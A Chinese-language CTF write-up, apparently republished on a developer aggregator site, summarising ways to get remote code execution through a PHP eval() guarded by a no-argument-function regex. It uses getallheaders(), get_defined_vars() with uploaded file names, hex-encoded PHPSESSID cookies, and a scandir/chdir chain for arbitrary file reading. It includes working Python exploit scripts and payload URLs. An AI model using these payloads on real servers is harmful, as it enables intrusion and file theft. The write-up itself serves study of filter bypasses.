PHP Parametric Function RCE

栏目: 服务器 · Apache · 发布时间: 5年前

内容简介:最近做了一些php无参数函数执行的题目,这里做一个总结,以便以后bypass各种正则过滤。大致思路如下:1.利用超全局变量进行bypass,进行RCE

前言

最近做了一些 php 无参数函数执行的题目,这里做一个总结,以便以后bypass各种正则过滤。

大致思路如下:

1.利用超全局变量进行bypass,进行RCE

2.进行任意文件读取

什么是无参数函数RCE

传统意义上,如果我们有:

eval($_GET['code']);

即代表我们拥有了“一句话木马”,可以进行getshell,例如:

PHP Parametric Function RCE

但是如果有如下限制:

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}

我们会发现我们使用参数则无法通过以下正则的校验:

/[^\W]+\((?R)?\)/

而该正则,正是我们说的无参数函数的校验,其只允许执行如下格式函数:

a(b(c()));
a();

但不允许如下格式:

a('123');

这样一来,失去了参数,我们进行RCE的难度则会大幅上升。

而本篇文章旨在bypass这种限制,并做出一些更苛刻条件的Bypass。

法1:getenv()

查阅php手册,有非常多的超全局变量:

$GLOBALS
$_SERVER
$_GET
$_POST
$_FILES
$_COOKIE
$_SESSION
$_REQUEST
$_ENV

我们可以使用:

$_ENV

对应函数为:

getenv()[object Object]

虽然getenv()可获取当前环境变量,但我们怎么从一个偌大的数组中取出我们指定的值成了问题。

这里可以使用方法:

PHP Parametric Function RCE

效果如下: PHP Parametric Function RCE

但是我不想要下标,我想要数组的值,那么我们可以使用:

PHP Parametric Function RCE

两者结合使用即可有如下效果:

PHP Parametric Function RCE

我们则可用爆破的方式获取数组中任意位置需要的值,那么即可使用getenv(),并获取指定位置的恶意参数。

法二:getallheaders()

之前我们获取的是所有环境变量的列表,但其实我们并不需要这么多信息。仅仅http header即可。

在apache2环境下,我们有函数getallheaders()可返回。

我们可以看一下返回值:

array(8) { 
    ["Host"]=> string(14) "106.14.114.127" 
    ["Connection"]=> string(10) "keep-alive" 
    ["Cache-Control"]=> string(9) "max-age=0" 
    ["Upgrade-Insecure-Requests"]=> string(1) "1" 
    ["User-Agent"]=> string(120) "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" 
    ["Accept"]=> string(118) "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"
     ["Accept-Encoding"]=> string(13) "gzip, deflate" ["Accept-Language"]=> string(14) "zh-CN,zh;q=0.9" 
}

我们可以看到,成功返回了http header,我们可以在header中做一些自定义的手段,例如:

PHP Parametric Function RCE

此时我们再将结果中的恶意命令取出:

var_dump(end(getallheaders()));

PHP Parametric Function RCE

这样一来相当于我们将http header中的sky变成了我们的参数,可用其进行bypass无参数函数执行。

例如:

PHP Parametric Function RCE

那么可以进一步利用http header的sky属性进行rce。

PHP Parametric Function RCE

法三:get_defined_vars()

使用getallheaders()其实具有局限性,因为他是apache的函数,如果目标中间件不为apache,那么这种方法就会失效,我们也没有更加普遍的方式呢?

这里我们可以使用get_defined_vars(),首先看一下它的回显。

PHP Parametric Function RCE

发现其可以回显全局变量有如下几种:

$_GET
$_POST
$_FILES
$_COOKIE

我们这里的选择也就具有多样性,可以利用$_GET进行RCE,例如:

PHP Parametric Function RCE

还是和之前的思路一样,将恶意参数取出。

PHP Parametric Function RCE

发现可以成功RCE。

但一般网站喜欢对如下超全局变量做全局过滤:

$_GET
$_POST
$_COOKIE

所以我们可以尝试从$_FILES下手,这就需要我们自己写一个上传:

PHP Parametric Function RCE

可以发现空格会被替换成下划线 _ ,为防止干扰我们用hex编码进行RCE。

PHP Parametric Function RCE

最终脚本如下:

import requests
from io import BytesIO
payload = "system('ls /tmp');".encode('hex')
files = {
  payload: BytesIO('sky cool!')
}
r = requests.post('http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)
print r.content

法四:session_id()

之前我们使用 $_FILES下手,其实这里还能从$_COOKIE下手, 我们有函数:

PHP Parametric Function RCE

可以获取PHPSESSID的值,而我们知道PHPSESSID允许字母和数字出现,那么我们就有了新的思路,即hex2bin。

脚本如下:

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "echo 'sky cool';".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

即可达成RCE和bypass的目的。

法五:dirname() & chdir()

为什么一定要RCE呢?我们能不能直接读文件?

之前的方法都基于可以进行RCE,如果目标真的不能RCE呢?我们能不能进行任意读取?

那么想读文件,就必须进行目录遍历,没有参数,怎么进行目录遍历呢?

首先,我们可以利用getcwd()获取当前目录:

?code=var_dump(getcwd());
string(13) "/var/www/html"

那么怎么进行当前目录的目录遍历呢?

这里用scandir()即可:

?code=var_dump(scandir(getcwd()));
array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" }

那么既然不在这一层目录,如何进行目录上跳呢?

我们用dirname()即可:

?code=var_dump(scandir(dirname(getcwd())));
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(14) "flag_phpbyp4ss" [3]=> string(4) "html" }

那么怎么更改我们的当前目录呢?这里我们发现有函数可以更改当前目录

chdir ( string $directory ) : bool

将 PHP 的当前目录改为 directory。

所以我们这里在dirname(getcwd())进行如下设置:

chdir(dirname(getcwd()))

我们尝试读取/var/www/123文件,使用如下payload:

http://localhost/?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

即可进行文件读取。

后记

php无参数函数RCE的方式有很多种,主要还是考察对php函数的熟练程度。我相信应该还有更多的方式没有挖掘出来,期待讨论。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Trading and Exchanges

Trading and Exchanges

Larry Harris / Oxford University Press, USA / 2002-10-24 / USD 95.00

This book is about trading, the people who trade securities and contracts, the marketplaces where they trade, and the rules that govern it. Readers will learn about investors, brokers, dealers, arbit......一起来看看 《Trading and Exchanges》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

SHA 加密
SHA 加密

SHA 加密工具

html转js在线工具
html转js在线工具

html转js在线工具